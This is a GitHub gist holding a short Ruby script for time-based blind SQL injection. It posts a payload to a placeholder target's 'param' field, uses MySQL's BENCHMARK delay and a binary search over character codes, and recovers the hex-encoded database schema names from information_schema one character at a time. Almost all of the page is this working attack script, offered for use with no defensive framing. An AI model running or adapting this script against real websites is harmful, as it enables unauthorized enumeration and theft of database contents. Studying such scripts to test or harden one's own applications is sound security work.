Forked from Techbrunch/blind_sqli_time_based.rb
Last active
September 14, 2015 21:51
-
-
Save nelyj/dfd3b6d497f224263af1 to your computer and use it in GitHub Desktop.
Small script for Time Based Blind SQL Injection in Ruby
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'net/http' | |
require 'uri' | |
uri = URI.parse('http://www.test.com/index.php') | |
http = Net::HTTP.new(uri.host, uri.port) | |
hex = (('a'..'f').to_a + ('0'..'9').to_a).sort.map { |x| x.ord } | |
ascii = (32..127).to_a | |
tables = '' | |
for i in 1..5 | |
correct_char = ascii.bsearch do |char| | |
puts i.to_s + ' (' + char.to_s + ')' | |
payload = 'IF((SELECT ascii(mid(lower(hex(group_concat(schema_name))),' + i.to_s + ',1)) FROM information_schema.schemata)>=' + char.to_s + ', BENCHMARK(3000000,SHA1(0x74657374 )), false)' | |
start_time = Time.now | |
response = Net::HTTP.post_form( | |
uri, | |
'param' => payload | |
) | |
elapsed_time = Time.now - start_time | |
puts payload | |
sleep(5) | |
puts 'position: ' + i.to_s + ' char:' + char.chr + ' (' + char.to_s + ') ' + elapsed_time.to_s + ' - ' + response.body.length.to_s | |
elapsed_time > 1 | |
end | |
puts 'Found correct char: ' + correct_char.chr + ' at ' + i.to_s | |
tables += correct_char.chr | |
puts tables | |
end | |
puts tables |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment